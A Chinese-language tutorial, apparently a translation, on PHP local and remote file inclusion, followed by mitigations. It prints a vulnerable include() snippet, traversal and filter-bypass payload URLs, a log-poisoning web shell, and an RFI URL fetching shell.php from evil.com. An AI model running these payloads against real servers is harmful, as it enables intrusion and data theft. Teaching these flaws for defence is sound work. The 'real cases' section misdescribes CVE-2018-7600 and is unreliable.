前言
文件包含漏洞是一种常见的网络安全问题,攻击者可以利用该漏洞操纵文件路径,从而访问、读取或执行服务器上未经授权的文件,这些漏洞主要存在于根据用户输入动态包含文件的 Web 应用程序中,通常不会进行适当的验证。
文件包含攻击可能导致:
- 未经授权访问敏感文件(如配置文件、日志或用户凭据)
- 远程代码执行 (RCE),导致整个系统受到危害
- Webshell 上传,实现对服务器的持久访问
本文我们将深入探讨本地文件包含(LFI)和远程文件包含(RFI) ,并提供真实案例、攻击技术和最佳实践。
文件包含攻击的类型
本地文件包含(LFI)
当攻击者包含来自本地服务器的文件、暴露系统文件或执行恶意脚本时,就会发生 LFI
例如,一个存在漏洞的 PHP 脚本:
<?php
$page = $_GET['file'];
include($page);
?>
如果用户访问:
http://example.com/index.php?file=home.php
该应用程序包含home.php
,但是,假如攻击者输入:
http://example.com/index.php?file=/etc/passwd
服务器将包含并打开/etc/passwd
,从而显示系统用户信息。
常见的 LFI 漏洞
/etc/passwd
(Linux 用户列表)C:\Windows\win.ini
(Windows 系统设置)../../../var/www/html/config.php
(敏感应用程序文件)
日志投毒,实现远程代码执行
如果应用程序记录用户输入(例如日志中的User-Agent
),攻击者可以注入 PHP 代码并通过 LFI 执行它。
示例:在日志中注入 Web Shell:
<?php system($_GET['cmd']); ?>
然后使用LFI执行:
http://example.com/index.php?file=/var/log/apache2/access.log&cmd=whoami
远程文件包含(RFI)
RFI 允许攻击者从外部服务器包含并执行脚本,从而导致远程代码执行 (RCE)。
如下存在漏洞的 PHP 脚本:
<?php
$file = $_GET['page'];
include($file);
?>
如果攻击者提供了远程文件:
http://example.com/index.php?page=http://evil.com/shell.php
这将从evil.com
下载并执行shell.php
,从而使攻击者控制服务器。
现实中的 RFI 攻击
- 攻击者将恶意脚本上传到远程服务器并使用RFI执行
- 这为持续控制提供后门
恶意软件分发
攻击者可以包含并执行恶意脚本(例如勒索软件、僵尸网络)
破坏及数据窃取
攻击者可以通过注入脚本替换网站内容或窃取敏感数据。
实践中利用文件包含漏洞
许多 LFI 漏洞允许目录遍历,这意味着攻击者可以访问目标目录之外的文件:
http://example.com/index.php?file=../../../../etc/passwd
这将通过向上不断移动多个目录来最终访问到系统文件。
绕过安全过滤器
某些应用程序会限制 LFI 尝试,但攻击者可以使用以下方法绕过这些保护:
空字节注入( **%00**
)
一些服务器会忽略空字节( %00
)后的输入,从而允许攻击者包含没有扩展名的文件,比如:
http://example.com/index.php?file=/etc/passwd%00
编码技术
攻击者还可以使用URL 编码、 Base64 编码或双重编码来绕过过滤器,比如:
http://example.com/index.php?file=%2Fetc%2Fpasswd
日志投毒(如前所述)
将 PHP 代码注入日志文件,然后使用 LFI 执行它。
真实案例
Drupal 文件包含漏洞(CVE-2018-7600)
Drupal 中存在一个漏洞,允许 LFI 攻击,使攻击者能够执行任意 PHP 代码。这导致数百万个网站遭到黑客攻击。
NASA 的 Web 应用程序通过 LFI 遭到黑客攻击
黑客利用 NASA 网络应用程序中的 LFI 漏洞访问内部文件和凭证,导致数据被盗。
缓解及预防措施
使用绝对文件路径
避免从用户输入中包含动态文件。请改用绝对路径。
白名单策略
仅允许包含特定文件(例如, home.php
, contact.php
)。
禁用allow_url_include
通过在php.ini
中设置allow_url_include=0
来防止 RFI。
过滤并验证用户输入
使用basename()
和正则表达式来限制文件输入,比如:
<?php $allowed_files = ['home.php', 'about.php']; if (in_array($_GET['file'], $allowed_files)) { include($_GET['file']); } else { die("Access Denied!"); } ?>
用 Web 应用程序防火墙(WAF)
WAF 通常可以检测并阻止 LFI/RFI 尝试。
强化并持续监控
- 定期检查日志是否有异常
- 限制日志访问权限。
结论
文件包含漏洞是严重的安全威胁,可能导致数据泄露、远程代码执行和整个服务器被入侵。但是,通过了解它们的工作原理并实施安全编码实践,开发人员可以有效地减轻这些风险。
你学到了么?
以上内容由骨哥翻译并整理。